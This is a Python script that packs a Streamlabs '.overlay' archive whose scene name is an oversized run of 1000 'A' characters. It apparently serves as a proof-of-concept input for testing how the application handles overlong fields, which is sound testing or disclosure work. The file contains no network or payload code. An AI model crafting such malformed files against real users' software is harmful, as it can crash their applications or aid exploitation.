1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
#!/usr/bin/env python3
import argparse
import json
import zipfile
from pathlib import Path
def build_config(name: str) -> dict:
return {
"schemaVersion": 2,
"nodeType": "RootNode",
"scenes": {
"schemaVersion": 2,
"nodeType": "ScenesNode",
"items": [
{
"slots": {
"schemaVersion": 1,
"nodeType": "SlotsNode",
"items": []
},
"name": name,
"sceneId": "scene_8e59eea4-d0f1-424f-8837-1aacd707700c"
}
]
},
"transition": {
"schemaVersion": 1,
"nodeType": "TransitionNode",
"type": "cut_transition",
"settings": {},
"duration": 300
},
"nodeMap": {
"schemaVersion": 1,
"nodeType": "NodeMapNode"
}
}
def create_overlay(output_path: Path, name_length: int = 1000) -> Path:
scene_name = "A" * name_length
config_dict = build_config(scene_name)
config_bytes = json.dumps(config_dict, indent= 2, ensure_ascii=False).encode("utf-8")
output_path.parent.mkdir(parents=True, exist_ok=True)
with zipfile.ZipFile(output_path, mode="w", compression=zipfile.ZIP_DEFLATED) as zf:
zf.writestr("config.json", config_bytes)
return output_path
def main():
parser = argparse.ArgumentParser(description="Create a Streamlabs .overlay with a 1000 chars scene name.")
parser.add_argument("-o", "--output", type=Path, default=Path("sample.overlay"),
help="Path to the output .overlay archive (default: sample.overlay)")
parser.add_argument("-n", "--name-length", type=int, default=1000,
help="Number of bytes to use for the scene name (default: 1000)")
args = parser.parse_args()
out = create_overlay(args.output, name_length=args.name_length)
print(f"Created overlay: {out.resolve()}")
if __name__ == "__main__":
main()
|